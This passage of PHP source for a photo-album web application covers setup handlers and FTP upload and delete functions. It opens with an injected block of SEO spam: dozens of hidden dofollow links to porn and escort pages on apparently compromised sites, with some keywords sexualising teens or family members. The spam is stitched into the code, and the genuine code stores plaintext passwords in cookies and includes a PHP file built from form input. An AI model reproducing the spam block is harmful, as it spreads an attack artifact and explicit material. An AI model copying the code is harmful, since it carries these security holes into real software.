naked</h1></a> area  <b>terminal breast cancer</b> <a href=http://piratemonkeypress.com/gallery/Japan08/_images/anal-slamers/terminal-breast-cancer.html rel=dofollow><h1>terminal breast cancer</h1></a> agree  <b>anal gash</b> <a href=http://yeguadavalle.es/prueba/Styles/_images/pictures-of-pornstar-june/anal-gash.html rel=dofollow><h1>anal gash</h1></a> truck  <b>bond girls xxx</b> <a href=http://www.obviatemedia.net/obviatemedia/wordpress/backup/hot-girls-xxx-video/bond-girls-xxx.html rel=dofollow><h1>bond girls xxx</h1></a> second  <b>jay xxx female animal</b> <a href=http://www.ontherocks.com/_images/naked-latina-porn-galleries/jay-xxx-female-animal.html rel=dofollow><h1>jay xxx female animal</h1></a> exercise  <b>android 18 erotic fight</b> <a href=http://teachmetomakemoneyonline.com/wp-content/plugins/_images/peliculas-latinas-online/android-18-erotic-fight.html rel=dofollow><h1>android 18 erotic fight</h1></a> told  <b>exploring the vagina</b> <a href=http://whichsurveys.com/ebook/_images/self-spanking/exploring-the-vagina.html rel=dofollow><h1>exploring the vagina</h1></a> develop  <b>depend transgender</b> <a href=http://www.grindheadrecords.com/content/distro/_images/christina-young-squirt/depend-transgender.html rel=dofollow><h1>depend transgender</h1></a> always  <b>male ma escorts</b> <a href=http://www.hijabcity.com/ioncube/_images/bronzed-door-knobs/male-ma-escorts.html rel=dofollow><h1>male ma escorts</h1></a> study  <b>mass online dating</b> <a href=http://bcbeanery.com/_themes/poetic/_images/busty-asian-pornstar/mass-online-dating.html rel=dofollow><h1>mass online dating</h1></a> front  <b>kim mathers tits</b> <a href=http://kathyperry.com/wp-content/plugins/_images/twinks-videos/kim-mathers-tits.html rel=dofollow><h1>kim mathers tits</h1></a> garden  <b>rants about bitch wives</b> <a href=http://www.gainesvilleupc.net/photos/friendshipday2008/_images/spr-adventist-singles/rants-about-bitch-wives.html rel=dofollow><h1>rants about bitch wives</h1></a> fruit  <b>dare flashing boobs</b> <a href=http://osondu.com/download/VolumeOne/_images/sarah-blake-anal/dare-flashing-boobs.html rel=dofollow><h1>dare flashing boobs</h1></a> cow  <b>sex in chandler az</b> <a href=http://piratemonkeypress.com/gallery/Japan08/_images/anal-slamers/sex-in-chandler-az.html rel=dofollow><h1>sex in chandler az</h1></a> table  <b>his pendulous cock</b> <a href=http://bcbeanery.com/_themes/poetic/_images/busty-asian-pornstar/his-pendulous-cock.html rel=dofollow><h1>his pendulous cock</h1></a> arm  <b>jumbo boobs</b> <a href=http://www.aprie.com/old_stuff/_image/hairey-pussey-review/jumbo-boobs.html rel=dofollow><h1>jumbo boobs</h1></a> why  <b>gay guys pics</b> <a href=http://www.beatricejean.com/Archive/_images/gay-b-b-connecticut/gay-guys-pics.html rel=dofollow><h1>gay guys pics</h1></a> name  <b>girls ucking shemales</b> <a href=http://teachmetomakemoneyonline.com/wp-content/plugins/_images/peliculas-latinas-online/girls-ucking-shemales.html rel=dofollow><h1>girls ucking shemales</h1></a> decimal  <b>naked jason earls</b> <a href=http://whichsurveys.com/ebook/_images/self-spanking/naked-jason-earls.html rel=dofollow><h1>naked jason earls</h1></a> element  <b>raunchy suck blow daughter</b> <a href=http://northshoreautomart.com/APP/Config/_images/florida-teen-chat-rooms/raunchy-suck-blow-daughter.html rel=dofollow><h1>raunchy suck blow daughter</h1></a> rule  <b>nylon curtains</b> <a href=http://lonemantis.com/radio.blog/sounds/backup/women-swimwear-thongs/nylon-curtains.html rel=dofollow><h1>nylon curtains</h1></a> morning  <b>one year dating anniversary</b> <a href=http://shopknowlabel.com/cookie_test/xml/_images/mat-gay-porn/one-year-dating-anniversary.html rel=dofollow><h1>one year dating anniversary</h1></a> select  <b>mommy grandma hardcore thumbnails</b> <a href=http://osondu.com/download/VolumeOne/_images/sarah-blake-anal/mommy-grandma-hardcore-thumbnails.html rel=dofollow><h1>mommy grandma hardcore thumbnails</h1></a> subtract  <b>sex free fuck</b> <a href=http://diguifurniture.com/_images/virgo-man-making-love/sex-free-fuck.html rel=dofollow><h1>sex free fuck</h1></a> both  <b>sex hiden movies</b> <a href=http://osondu.com/download/VolumeOne/_images/sarah-blake-anal/sex-hiden-movies.html rel=dofollow><h1>sex hiden movies</h1></a> suggest  <b>sneek peek upskirt</b> <a href=http://www.heatherandchopper.com/wp-content/themes/_images/transsexuele-escort-belgie/sneek-peek-upskirt.html rel=dofollow><h1>sneek peek upskirt</h1></a> indicate  <b>brazilain porn</b> <a href=http://www.ontherocks.com/_images/naked-latina-porn-galleries/brazilain-porn.html rel=dofollow><h1>brazilain porn</h1></a> no  <b>naked hawaiians nude</b> <a href=http://www.johnirwindesign.com/drupal/themes/_images/nipple-teaser-adults-australia/naked-hawaiians-nude.html rel=dofollow><h1>naked hawaiians nude</h1></a> special  <b>lazytown steph porn</b> <a href=http://lunchisforwimps.com/wp-admin/import/_images/watching-girls-strip/lazytown-steph-porn.html rel=dofollow><h1>lazytown steph porn</h1></a> that  <b>circle jerks weirdos</b> <a href=http://www.livinghope4u.com/gallery/logs/_images/non-nude-cheerleader-panties/circle-jerks-weirdos.html rel=dofollow><h1>circle jerks weirdos</h1></a> has  <b>nude fashion model video</b> <a href=http://www.sailing-story.com/carp/autocache/_images/lesbian-stories-wanted/nude-fashion-model-video.html rel=dofollow><h1>nude fashion model video</h1></a> young  <b>gay marriage nj</b> <a href=http://www.allnewcreation.com/agora/shopping_carts/backup/katie-morgans-porn-videos/gay-marriage-nj.html rel=dofollow><h1>gay marriage nj</h1></a> self  <b>nude beach mobile al</b> <a href=http://opinionsdaily.net/wp-content/themes/_images/bile-dysfunction-diseases/nude-beach-mobile-al.html rel=dofollow><h1>nude beach mobile al</h1></a> chick  <b>ii love hiim</b> <a href=http://barefootmalecelebs.com/wp-admin/css/_images/gays-sucking-guys-dicks/ii-love-hiim.html rel=dofollow><h1>ii love hiim</h1></a> door  <b>hair styles teen men</b> <a href=http://vormedia.com/wp-content/themes/_images/female-masturbation-page/hair-styles-teen-men.html rel=dofollow><h1>hair styles teen men</h1></a> kept  <b>pussy amy</b> <a href=http://www.sailing-story.com/carp/autocache/_images/lesbian-stories-wanted/pussy-amy.html rel=dofollow><h1>pussy amy</h1></a> were  <b>ford edge crossover mpg</b> <a href=http://www.afishingguide.com/gallery/images/billy-mack-love-actully/ford-edge-crossover-mpg.html rel=dofollow><h1>ford edge crossover mpg</h1></a> favor  <b>gay tea bag video</b> <a href=http://lonemantis.com/radio.blog/sounds/backup/women-swimwear-thongs/gay-tea-bag-video.html rel=dofollow><h1>gay tea bag video</h1></a> walk  <b>piere nipple</b> <a href=http://1eric.com/wp-content/themes/_images/cutie-hentai/piere-nipple.html rel=dofollow><h1>piere nipple</h1></a> found  <b>chicken breast in slow cooker</b> <a href=http://www.grindheadrecords.com/content/distro/_images/christina-young-squirt/chicken-breast-in-slow-cooker.html rel=dofollow><h1>chicken breast in slow cooker</h1></a> air  <b>shemale maxxx</b> <a href=http://www.mckay4supervisor.com/flash/taglines/_images/lexus-cash-sex/shemale-maxxx.html rel=dofollow><h1>shemale maxxx</h1></a> bottom  <b>terminal strip</b> <a href=http://cowboyboot.ca/techs/mc/_images/amateur-naked-girl-pics/terminal-strip.html rel=dofollow><h1>terminal strip</h1></a> leave  <b>human like sex dolls</b> <a href=http://lonemantis.com/radio.blog/sounds/backup/women-swimwear-thongs/human-like-sex-dolls.html rel=dofollow><h1>human like sex dolls</h1></a> settle  <b>vietnamese escort ny</b> <a href=http://www.heatherandchopper.com/wp-content/themes/_images/transsexuele-escort-belgie/vietnamese-escort-ny.html rel=dofollow><h1>vietnamese escort ny</h1></a> wrote  <b>pill breast reduction</b> <a href=http://www.mckay4supervisor.com/flash/taglines/_images/lexus-cash-sex/pill-breast-reduction.html rel=dofollow><h1>pill breast reduction</h1></a> dead  <b>aphrodisiac powder with guarana</b> <a href=http://shopthewoolgarden.com/PDGCommTemplates/store002/_images/pornstar-free-movie-thumbs/aphrodisiac-powder-with-guarana.html rel=dofollow><h1>aphrodisiac powder with guarana</h1></a> million  <b>the porn truth uwo</b> <a href=http://whichsurveys.com/ebook/_images/self-spanking/the-porn-truth-uwo.html rel=dofollow><h1>the porn truth uwo</h1></a> million  <b>natalie casey topless</b> <a href=http://www.opaquewhite.com/shakeartistcom/blog/_images/daily-cum-facial/natalie-casey-topless.html rel=dofollow><h1>natalie casey topless</h1></a> reach  <b>vidios fat transexuals</b> <a href=http://trzewiczek.org/ciao-office/forum/_images/shemale-jerking-video/vidios-fat-transexuals.html rel=dofollow><h1>vidios fat transexuals</h1></a> sell  <b>sex finder neosho mo</b> <a href=http://barefootmalecelebs.com/wp-admin/css/_images/gays-sucking-guys-dicks/sex-finder-neosho-mo.html rel=dofollow><h1>sex finder neosho mo</h1></a> hard  <b>nude seattle poloroids</b> <a href=http://perrysautoauction.net/Flyers/100808/_images/brazilain-lesbians/nude-seattle-poloroids.html rel=dofollow><h1>nude seattle poloroids</h1></a> blue  <b>sophea beauty</b> <a href=http://www.glassandsplinters.com.au/pictures/available/_images/nude-gay-young-men/sophea-beauty.html rel=dofollow><h1>sophea beauty</h1></a> for  <b>bob s beauty owenton kentucky</b> <a href=http://designyatra.com/jce/jce/_images/can-males-have-orgasms/bob-s-beauty-owenton-kentucky.html rel=dofollow><h1>bob s beauty owenton kentucky</h1></a> written  <b>sex beach nude</b> <a href=http://u3studios.com/projects/commercial/_images/teen-in-bathtub/sex-beach-nude.html rel=dofollow><h1>sex beach nude</h1></a> melody  <b>tug cock free gallery</b> <a href=http://asscaronline.com/teamspeak/teamspeakdisplay/_images/cheap-escorts-in-chicago/tug-cock-free-gallery.html rel=dofollow><h1>tug cock free gallery</h1></a> season  <b>breast enhancement effectiveness herbs</b> <a href=http://osondu.com/download/VolumeOne/_images/sarah-blake-anal/breast-enhancement-effectiveness-herbs.html rel=dofollow><h1>breast enhancement effectiveness herbs</h1></a> wing  <b>boys jizzing underwear</b> <a href=http://www.sailing-story.com/carp/autocache/_images/lesbian-stories-wanted/boys-jizzing-underwear.html rel=dofollow><h1>boys jizzing underwear</h1></a> sharp  <b>sig tits</b> <a href=http://www.heatherandchopper.com/wp-content/themes/_images/transsexuele-escort-belgie/sig-tits.html rel=dofollow><h1>sig tits</h1></a> desert  <b>non membership squirting pussy videos</b> <a href=http://designyatra.com/jce/jce/_images/can-males-have-orgasms/non-membership-squirting-pussy-videos.html rel=dofollow><h1>non membership squirting pussy videos</h1></a> feel  <b>tight cameltoe jeans</b> <a href=http://www.glassandsplinters.com.au/pictures/available/_images/nude-gay-young-men/tight-cameltoe-jeans.html rel=dofollow><h1>tight cameltoe jeans</h1></a> cause  <b>love frauds</b> <a href=http://cowboyboot.ca/techs/mc/_images/amateur-naked-girl-pics/love-frauds.html rel=dofollow><h1>love frauds</h1></a> object  <b>ebony bring it all</b> <a href=http://www.grindheadrecords.com/content/distro/_images/christina-young-squirt/ebony-bring-it-all.html rel=dofollow><h1>ebony bring it all</h1></a> column  <b>beaver run racing</b> <a href=http://teachmetomakemoneyonline.com/wp-content/plugins/_images/peliculas-latinas-online/beaver-run-racing.html rel=dofollow><h1>beaver run racing</h1></a> move  <b>thermostate replacement knob</b> <a href=http://www.metalminstrel.com/wp-admin/import/_images/sanchez-fall-in-love/thermostate-replacement-knob.html rel=dofollow><h1>thermostate replacement knob</h1></a> shout  <b>pusating feamale orgasm</b> <a href=http://vormedia.com/wp-content/themes/_images/female-masturbation-page/pusating-feamale-orgasm.html rel=dofollow><h1>pusating feamale orgasm</h1></a> live  <b>erotic stories richrd</b> <a href=http://www.livinghope4u.com/gallery/logs/_images/non-nude-cheerleader-panties/erotic-stories-richrd.html rel=dofollow><h1>erotic stories richrd</h1></a> man  <b>boobs tits large</b> <a href=http://www.schoolswithopenarms.com/tip_balloon/_images/super-dziewczyny-pics-xxx/boobs-tits-large.html rel=dofollow><h1>boobs tits large</h1></a> shape  <b>shirtless male models</b> <a href=http://bransongetawaysblog.com/wp-content/themes/_images/high-school-teens-fuck/shirtless-male-models.html rel=dofollow><h1>shirtless male models</h1></a> soil  <b>shemale nude pics free</b> <a href=http://www.randyakers.com/flash/_images/sex-toy-hotel-room/shemale-nude-pics-free.html rel=dofollow><h1>shemale nude pics free</h1></a> she    </div></body></html>";

}

function check_writable($dir){
     error_reporting(0);
     $file=fopen($dir."writablity_test","w");
     fclose($file);
     unlink($dir."writablity_test");
     error_reporting(E_ERROR | E_WARNING | E_PARSE);
     return $file;
}
/****************************************/
/*      SETUP COMMAND                   */
/****************************************/

function generate_setup_page(){
global $var1;
global $var2;
global $var3;
global $var4;
global $album_dir;
global $cache_dir;
global $data_dir;
global $setup_password;
global $logo_path,$logo_enabled,$site_name,$site_theme,$site_engine,$themes_dir,$theme_params,$return_home_url,$new_dir_indic;
global $logs_enabled,$logs_filename,$logs_exclude,$quality_settings,$quality;
global $album_name,$album_dir_name,$cookie_password_hours,$setup_text,$next_text,$previous_text,$disable_bottom_nextprev,$character_set;
global $cache_thumbnails,$cache_resized_photos,$phpalbum_version;
global $directory_style,$maximum_photos_per_page,$raster_dir_x,$raster_dir_y,$next_page_text,$previous_page_text,$ftp_server,$ftp_server_photos_dir;
global $comments_enabled;
global $show_filenames;
global $character_set;
global $pa_texts,$pa_translated_texts;
global $default_sorting;
	if($var1=="") {
	  ob_start();require("setup.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
	  return;
	}
	if($var1=="main"){
	  if($var2=="save"){
		$p_p=$_POST['p_p'];
		$p_pd=$_POST['p_pd'];
		$p_dd=$_POST['p_dd'];
		$p_cd=$_POST['p_cd'];
		
		if(substr($p_cd,-1,1)!="/"){
			$p_cd=$p_cd."/";
		}
		if(substr($p_pd,-1,1)!="/"){
			$p_pd=$p_pd."/";
		}
		
		$p_name=stripslashes($_POST['p_name']);
		$p_logo_enabled=$_POST['p_logo_enabled'];
		$p_logo_path=$_POST['p_logo_path'];
		$p_theme=$_POST['p_theme'];
		$p_return_home_url=$_POST['p_return_home_url'];
		$p_new_dir_indic=$_POST['p_new_dir_indic'];
		$p_album_name=stripslashes($_POST['p_album_name']);
		$p_album_dir_name=stripslashes($_POST['p_album_dir_name']);
		$p_setup_text=stripslashes($_POST['p_setup_text']);
		$p_next_text=stripslashes($_POST['p_next_text']);
		$p_previous_text=stripslashes($_POST['p_previous_text']);
		$p_character_set=$_POST['p_character_set'];
		if(isset($_POST['p_disable_bottom_nextprev'] )){$p_disable_bottom_nextprev="true";}else{$p_disable_bottom_nextprev="false";}
		$p_cookie_password_hours=$_POST['p_cookie_password_hours'];
		$file=fopen($data_dir."main_setup.dat","w");
		if(isset($p_logo_enabled)){$p_logo_enabled="true";}else{$p_logo_enabled="false";}
		//0.3.0
		 $p_directory_style=$_POST['p_directory_style'];
 		 $p_maximum_photos_per_page=$_POST['p_maximum_photos_per_page'];
		 $p_raster_dir_x=$_POST['p_raster_dir_x'];
		 $p_raster_dir_y=$_POST['p_raster_dir_y'];
		 $p_next_page_text=stripslashes($_POST['p_next_page_text']);
		 $p_previous_page_text=stripslashes($_POST['p_previous_page_text']);
		 //ftp-settings
		 $p_ftp_server=$_POST['p_ftp_server'];
		 $p_ftp_server_photos_dir=$_POST['p_ftp_server_photos_dir'];
	   if(isset($_POST['p_show_filenames'] )){$p_show_filenames="true";}else{$p_show_filenames="false";}
	     $p_default_sorting=$_POST['p_default_sorting'];
		
		fwrite($file,"$p_p\n$p_pd\n$p_cd\n$p_name\n$p_logo_enabled\n$p_logo_path\n$p_theme\n$p_return_home_url\n$p_new_dir_indic\n");
		fwrite($file,"$p_album_name\n$p_album_dir_name\n$p_cookie_password_hours\n$p_setup_text\n$p_next_text\n$p_previous_text\n$p_disable_bottom_nextprev\n$p_character_set\n");
		//writig 0.3.0 new params
		fwrite($file,"$p_directory_style\n$p_maximum_photos_per_page\n$p_raster_dir_x\n$p_raster_dir_y\n$p_next_page_text\n$p_previous_page_text\n$p_ftp_server\n$p_ftp_server_photos_dir\n$p_show_filenames\n$p_default_sorting\n");
		fclose($file);
		
		/*write theme settings*/
		if($site_theme == $p_theme){
			$file=fopen($data_dir.$site_theme.".dat","w");
			$num=0;
			while(isset($theme_params[$num]) || isset($_POST["p_theme_".$num])){
				if($num>0){
					fwrite($file,"|");
				}
				if(isset($_POST["p_theme_".$num])){
					fwrite($file,stripslashes($_POST["p_theme_".$num]));
					
				}else{
					fwrite($file,$theme_params[$num]);
				}
				$num=$num+1;
			}
			fclose($file);
			
		}
		
	        save_quality_settings();
		read_settings();
		theme_initialize();
	  }
	  	
	  	ob_start();require("setup_main.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
		
	  return;
	}
	if($var1=="logs"){
	  if($var2=="save"){
	  	$p_enabled=$_POST['p_enabled'];
		$p_filename=$_POST['p_filename'];
		$p_exclude=$_POST['p_exclude'];
		$file=fopen($data_dir."logs_setup.dat","w");
		if(isset($p_enabled)){
		        fwrite($file,"true|$p_filename|$p_exclude");
		}else{
		        fwrite($file,"false|$p_filename|$p_exclude");
		}
		fclose($file);
		read_settings();
	  }
	  if($var2=="view"){
	  	ob_start();require("setup_logs.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);

		if(file_exists($cache_dir.$logs_filename)){
			$file=file($cache_dir.$logs_filename);
			echo "<table>";
	        	foreach($file as $line_num=>$line){
 	                	$strings=explode("|",$line);
				echo "<tr>";
				foreach($strings as $num=>$string){
					echo "<td class=\"boxbody\">".$string."</td>";
				}	
				echo "<td class=\"boxbody\"><a class=\"me\" href=\"main.php?cmd=".$strings[1]."&var1=".$strings[2]."\">view<a/></td>";
				echo "</tr>";
                	}
			echo "</table>";
		}else{ echo "Log file not found !!";}
		return;
	  }
	  if($var2=="del"){
	    	  ob_start();require("setup_logs.inc");
		  if(file_exists($cache_dir.$logs_filename)){
		  	unlink($cache_dir.$logs_filename);
			echo "File deleted";
		  }else{
		  	echo "File not found!";
		  }
		  $contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
		  return;	
	  }
   	  ob_start();require("setup_logs.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
	  return;
	}
	
	if($var1=="dirs"){
	  if($var2=="save"){
	  	$num=0;
		while(isset($_POST["p_dir_".$num])){
			$f_name=stripslashes($data_dir.str_replace(" ","_",str_replace("/","_",conv_in($_POST["p_dir_".$num]))).".dat");
			if(file_exists($f_name)){
			   $old_file=file($f_name);
			}
			$file=fopen($f_name,"w");
			fwrite($file,$_POST["p_pass_".$num]."|".pa_html_encode(stripslashes($_POST["p_desc_".$num]))."|".pa_html_encode(stripslashes($_POST["p_desc_long_".$num]))."|".pa_html_encode(stripslashes($_POST["p_alias_".$num]))."|".$_POST["p_sorting_".$num]."|".((isset($_POST["p_visible_".$num])?"true":"false"))."\n");
			$num=$num+1;
			$i=1;
			while(isset($old_file[$i])){
				fwrite($file,$old_file[$i]);
				$i=$i+1;
			}
			fclose($file);
		}
	  }
	  if($var2=="save2"){
	        /*saving advanced dir settings*/
	  $f_name=stripslashes($data_dir.str_replace(" ","_",str_replace("/","_",conv_in($_POST["p_dir"]))).".dat");
		$file=fopen($f_name,"w");
		/*writing dir settings*/
		
		fwrite($file,$_POST["p_pass"]."|".pa_html_encode(stripslashes($_POST["p_desc"]))."|".pa_html_encode(string2store(stripslashes($_POST["p_desc_long".$num])))."|".pa_html_encode(stripslashes($_POST["p_alias"]))."|".$_POST["p_sorting"]."|".((isset($_POST["p_visible"])?"true":"false"))."\n");
		
	  	$num=1;
		while(isset($_POST["p_file_".$num])){
			fwrite($file,stripslashes(conv_in($_POST["p_file_".$num]))."|".pa_html_encode(stripslashes($_POST["p_file_sd_".$num]))."|".pa_html_encode(string2store(stripslashes($_POST["p_file_ld_".$num])))."\n");
			$num=$num+1;
		}
		fclose($file);
	  }
	  if(strlen($var3)>0){
	     $sett=get_directory_settings(conv_in($var3));
	  	ob_start();require("setup_dir_advanced.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
          }else{
    	     $dirs=get_photos_directories("/",$dirs);
  	     ob_start();require("setup_dirs.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
	  }
	  return;
	}
	if($var1=="comments"){
		if($var2=="delete"){
			if($var3 && $var4){
			 delete_comment($var3,$var4);
			}
		}
		if($var2=="approve"){
			if($var3 && $var4){
			 approve_comment($var3,$var4);
			}
		}
	  if($var2=="save"){
		if(isset($_POST['p_comments_enabled'] )){$p_comments_enabled="true";}else{$p_comments_enabled="false";}
		$file=fopen($data_dir."comments_setup.dat","w");
	        fwrite($file,"$p_comments_enabled");
		fclose($file);
		read_settings();
	  }
  	  ob_start();require("setup_comments.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
	  return;
	}
	if($var1=="cache"){
	  if($var2=="delete"){
	     delete_cache($cache_dir,0);
	  }
	  if($var2=="save"){
		if(isset($_POST['p_cache_thumbnails'] )){$p_cache_thumbnails="true";}else{$p_cache_thumbnails="false";}
		if(isset($_POST['p_cache_resized_photos'] )){$p_cache_resized_photos="true";}else{$p_cache_resized_photos="false";}
		$file=fopen($data_dir."cache_setup.dat","w");
	        fwrite($file,"$p_cache_thumbnails|$p_cache_resized_photos");
		fclose($file);
		read_settings();
	  }
  	  ob_start();require("setup_cache.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
	  return;
	}
	if($var1=="texts"){
		if($var2=="save"){
			if(file_exists($data_dir."translation.dat")){
				/*delete*/
				unlink($data_dir."translation.dat");
			}
			$first=true;
			foreach($_POST as $key => $text){
				if(substr($key,0,3)=="ID_" && strlen($text)>0){
					  $text=str_replace(Array('\\','"'),Array('\\\\','\"'),stripslashes($text));
						/*this is an id translation*/
						if($first){
							$file=fopen($data_dir."translation.dat","w");
							$first=false;
							fwrite($file,"<?\n\$pa_translated_texts = Array(\n\"$key\" => \"$text\"\n");
						}else{
							fwrite($file,",\"$key\" => \"$text\"\n");
						}
						
				}
			}
			if(!$first){ fwrite($file,");\n?>\n"); fclose($file); }
			if(file_exists($data_dir."translation.dat")){
				include($data_dir."translation.dat");
			}else{
				unset($pa_translated_texts);
			}
		}
		 
		ob_start();require("setup_texts.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
	  return;
  }
	if($var1=="admin"){
		error_reporting(0);
		if(isset($_COOKIE['p_pass'])){ $p_pass=$_COOKIE['p_pass']; }
		if(isset($_COOKIE['p_user'])){ $p_user=$_COOKIE['p_user']; }
		if(isset($_COOKIE['p_actdir'])){ $p_actdir=$_COOKIE['p_actdir']; }

		if(isset($_POST['p_user'])){ $p_user=$_POST['p_user']; }
		if(isset($_POST['p_pass'])){ $p_pass=$_POST['p_pass']; }

	
		if(isset($_POST['p_dir'])){ $p_dir=conv_in($_POST['p_dir']); }
		if(isset($_GET['p_dir'])){ $p_dir=conv_in($_GET['p_dir']); }
		
		if(isset($_POST['p_file_name'])){ $p_file_name=conv_in($_POST['p_file_name']); }
		if(isset($_GET['p_file_name'])){ $p_file_name=conv_in($_GET['p_file_name']); }
		
		if($var2=="login"){
			if( !($ftp_error=ftp_check_login($p_user,$p_pass)) ){
				/*set cookie*/
				setcookie("p_user",$p_user);
				setcookie("p_pass",$p_pass);
				setcookie("p_actdir","");
				$p_actdir="";
				ob_start();require("setup_admin.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
				return;
			}else{
				ob_start();require("setup.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
				return;
			}
		}
		if($var2=="chdir"){
			$p_actdir=$p_dir;
			setcookie("p_actdir",$p_actdir);
			ob_start();require("setup_admin.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
			return;
			
		}
		if($var2=="mkdir"){
			$ftp_error=ftp_setup_mkdir($p_user,$p_pass,$p_actdir,$p_dir);
			ob_start();require("setup_admin.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
			return;
		}
		if($var2=="rmdir"){
			$ftp_error=ftp_setup_rmdir($p_user,$p_pass,$p_actdir,$p_dir);
			ob_start();require("setup_admin.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
			return;
		}
		if($var2=="delete"){
			$ftp_error=ftp_setup_delete($p_user,$p_pass,$p_actdir,$p_file_name);
			ob_start();require("setup_admin.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
			return;
		}
		if($var2=="upload"){

			$uploaddir = $cache_dir;

			if (move_uploaded_file($_FILES['p_file']['tmp_name'], $uploaddir . conv_in($_FILES['p_file']['name']))) {
			   $ftp_error=ftp_setup_put_file($p_user,$p_pass,$p_actdir,$uploaddir . conv_in($_FILES['p_file']['name']),conv_in($_FILES['p_file']['name']));
			   /*deleted from cache*/
			   unlink($uploaddir . $_FILES['p_file']['name']);				   
			} else {
			   $ftp_error="Possible file upload attack!";
			}


			ob_start();require("setup_admin.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
			return;
		}
		if($var2=="uploadzip"){

			$uploaddir = $cache_dir;

			if (move_uploaded_file($_FILES['p_file']['tmp_name'], $uploaddir . conv_in($_FILES['p_file']['name']))) {
			   $ftp_error=ftp_setup_put_zip_file($p_user,$p_pass,$p_actdir,$uploaddir . conv_in($_FILES['p_file']['name']),conv_in($_FILES['p_file']['name']));
			   /*deleted from cache*/
			   unlink($uploaddir . $_FILES['p_file']['name']);				   
			} else {
			   $ftp_error="Possible file upload attack!";
			}


			ob_start();require("setup_admin.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
			return;
		}
		
	}
  	 ob_start();require("setup.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
}


/**********************************************************/
/****************** FTP Functions *************************/
/**********************************************************/
function create_dir($conn,$remote_directory){
  $dir=split("/", $remote_directory);
   $path="";
   $result = true;
       error_reporting(0);
  
   for ($i=1;$i<count($dir);$i++)
   {
	    $path.="/".$dir[$i];
       //echo "$path\n";
       if(!ftp_chdir($conn,$path)){
         ftp_chdir($conn,"/");
         if(!ftp_mkdir($conn,$path)){
            $result=false;
            break;
         }
       }
   }
   error_reporting(E_ERROR | E_WARNING | E_PARSE);
	
return $result;
}

function ftp_setup_mkdir($p_user,$p_pass,$p_actdir,$p_dir){
	global $ftp_server,$ftp_server_photos_dir;
	
        $conn=ftp_connect($ftp_server);
	if (!$conn ){
    		return "Unable to connect to the server $ftp_server";
	}

	$result = ftp_login($conn,$p_user,$p_pass);

	if(!$result){
	    ftp_close($conn);return "Username or password invalid!";
	}

	$result = ftp_pasv($conn,true);

	if(!$result){
	    ftp_close($conn);return "Unable to setup passive mode on ftp server";
	}

/*reading install script and doing what to do is*/
   	$result=create_dir($conn,$ftp_server_photos_dir.$p_actdir.$p_dir);
	if(!$result){
		ftp_close($conn);return "Unable to create directory $p_dir on ftp server";
   	}
	$result=ftp_close($conn);
	return "";
}

function ftp_setup_rmdir($p_user,$p_pass,$p_actdir,$p_dir){
	global $ftp_server,$ftp_server_photos_dir;
	
        $conn=ftp_connect($ftp_server);
	if (!$conn ){
    		return "Unable to connect to the server $ftp_server";
	}

	$result = ftp_login($conn,$p_user,$p_pass);

	if(!$result){
	    ftp_close($conn);return "Username or password invalid!";
	}

	$result = ftp_pasv($conn,true);

	if(!$result){
	    ftp_close($conn);return "Unable to setup passive mode on ftp server";
	}

/*reading install script and doing what to do is*/
	$result=ftp_chdir($conn,$ftp_server_photos_dir.$p_actdir.".");
	if(!$result){
		ftp_close($conn);return "Unable to change to  directory $ftp_server_photos_dir$p_actdir on ftp server";
   	}
   	$result=ftp_rmdir($conn,$p_dir);
	if(!$result){
		ftp_close($conn);return "Unable to delete directory $ftp_server_photos_dir$p_actdir$p_dir on ftp server";
   	}
	$result=ftp_close($conn);
	return "";
}
function ftp_setup_delete($p_user,$p_pass,$p_actdir,$p_file){
	global $ftp_server,$ftp_server_photos_dir;
	
        $conn=ftp_connect($ftp_server);
	if (!$conn ){
    		return "Unable to connect to the server $ftp_server";
	}

	$result = ftp_login($conn,$p_user,$p_pass);

	if(!$result){
	    ftp_close($conn);return "Username or password invalid!";
	}

	$result = ftp_pasv($conn,true);

	if(!$result){
	    ftp_close($conn);return "Unable to setup passive mode on ftp server";
	}

/*reading install script and doing what to do is*/
	$result=ftp_chdir($conn,$ftp_server_photos_dir.$p_actdir.".");
	if(!$result){
		ftp_close($conn);return "Unable to change to  directory $ftp_server_photos_dir$p_actdir on ftp server";
   	}
   	$result=ftp_delete($conn,$p_file);
	if(!$result){
		ftp_close($conn);return "Unable to delete file $p_file on ftp server";
   	}
	$result=ftp_close($conn);
	return "";
}
function ftp_setup_put_file($p_user,$p_pass,$p_actdir,$local,$remote){
	global $ftp_server,$ftp_server_photos_dir;
	
        $conn=ftp_connect($ftp_server);
	if (!$conn ){
    		return "Unable to connect to the server $ftp_server";
	}

	$result = ftp_login($conn,$p_user,$p_pass);

	if(!$result){
	    ftp_close($conn);return "Username or password invalid!";
	}

	$result = ftp_pasv($conn,true);

	if(!$result){
	    ftp_close($conn);return "Unable to setup passive mode on ftp server";
	}

/*reading install script and doing what to do is*/
	$result=ftp_chdir($conn,$ftp_server_photos_dir.$p_actdir.".");
	if(!$result){
		ftp_close($conn);return "Unable to change to  directory $ftp_server_photos_dir$p_actdir on ftp server";
   	}
	
	
   	if(!ftp_put($conn,$remote,$local,FTP_BINARY)){ftp_close($conn);return "Unable to upload file $remote!";}
	$result=ftp_close($conn);
	return "";
}

function ftp_setup_put_zip_file($p_user,$p_pass,$p_actdir,$local,$remote){
	global $ftp_server,$ftp_server_photos_dir,$cache_dir;
